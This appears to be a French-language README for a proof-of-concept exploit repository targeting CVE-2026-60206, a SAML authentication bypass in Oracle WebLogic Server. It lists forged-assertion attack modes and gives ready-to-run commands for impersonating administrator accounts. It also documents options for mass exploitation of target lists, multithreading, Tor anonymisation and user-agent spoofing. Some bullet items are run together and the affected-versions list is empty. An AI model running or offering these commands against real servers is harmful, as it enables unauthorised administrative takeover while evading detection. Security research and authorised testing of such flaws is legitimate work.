
Analyse technique et preuve de concept (Proof-of-Concept) pour CVE-2026-60206, une vulnérabilité critique de contournement de l'authentification SAML sur Oracle WebLogic Server.
Ce dépôt fournit un exploit de preuve de concept pour CVE‑2026‑60206, une vulnérabilité critique de contournement de l'authentification dans l'implémentation SAML d'Oracle WebLogic Server. Cette faille permet à un attaquant distant disposant de faibles privilèges de compromettre entièrement le serveur en forgeant des assertions SAML.
⚠️ Avertissement : Cet outil est destiné uniquement à la recherche et aux tests de sécurité autorisés. Ne l'utilisez que sur des systèmes qui vous appartiennent ou pour lesquels vous disposez d'une autorisation explicite de test. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
CVE-2026-60206 affecte le composant Core d'Oracle WebLogic Server. La vulnérabilité provient d'une gestion incorrecte de l'authentification dans l'implémentation du protocole SAML. De multiples vecteurs d'attaque – tels que l'enveloppement de signature XML (XSW), l'acceptation d'assertions non signées, la manipulation du NameID et le contournement des restrictions d'audience/conditions – permettent à un attaquant d'usurper l'identité d'utilisateurs arbitraires (par exemple weblogic) et d'obtenir un accès administratif.
Versions concernées :
Le PoC implémente les vecteurs d'attaque suivants :
WantAssertionsSigned n'est pas appliqué).AudienceRestriction pour élargir la portée.NotBefore/NotOnOrAfter pour contourner les contrôles de validité.all, unsigned, xsw, nameid, audience, conditions, combo ou replay.-l).-r).httpx s'il est installé, sinon requests (HTTP/1.1).--save-payloads).-c / --check) – déterminer rapidement si une cible est vulnérable (sans exploitation).git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
Requis : requests, urllib3
Facultatif (améliore les fonctionnalités) :
httpx – pour le support HTTP/2lxml – pour une analyse SAML amélioréesignxml, cryptography – pour la gestion des signatures (non requis pour l'exploitation)python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin
python CVE-2026-60206.py -l targets.txt -o results.json
python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml
python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor
python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST
python CVE-2026-60206.py -t https://192.168.1.100:7002 -c
| Option | Description |
|---|---|
-h, --help | Affiche le message d'aide et quitte. |
--proxy PROXY | URL du proxy (remplacée par --tor s'il est utilisé). |
--no-verify | Désactive la vérification du certificat SSL. |
--cookie COOKIE | Cookie(s) de session (par ex., name=value; name2=value2). |
--auth AUTH | Identifiants d'authentification de base (USER:PASS). |
| Option | Description |
|---|---|
-t, --target TARGET | URL d'une cible unique (par ex., https://host:7002). |
-l, --list LIST | Fichier de liste de cibles pour un scan de masse, ou URL unique. |
-f, --file FILE | Alias de --list. |
| Option | Description |
|---|---|
-r, --requestfile REQUESTFILE | Charge une requête HTTP brute depuis un fichier (remplace les attaques SAML). |
--method METHOD | Méthode HTTP à utiliser (pour une requête brute ou une requête unique ; défaut : GET). |
--random-agent | Utilise un User‑Agent aléatoire de la liste intégrée. |
-A, --user-agent USER_AGENT | Valeur d'en-tête User‑Agent personnalisée. |
--tor | Utilise le réseau d'anonymat Tor (SOCKS5 par défaut). |
--tor-port TOR_PORT | Port du proxy Tor (défaut : 9050). |
--tor-type {HTTP,SOCKS4,SOCKS5} | Type de proxy Tor (défaut : SOCKS5). |
--check-tor | Vérifie si Tor est correctement utilisé (quitte avec un verdict). |
--delay DELAY | Délai en secondes entre chaque requête. |
--timeout TIMEOUT | Délai d'expiration en secondes (défaut : 30). |
--retries RETRIES | Nombre de nouvelles tentatives en cas de délai d'expiration/d'erreurs (défaut : 3). |
--retry-on RETRY_ON | Réessaie la requête si le contenu de la réponse correspond à une regex (par ex., 'captcha'). |
-dr, --disable-redirects | Désactive le suivi des redirections HTTP. |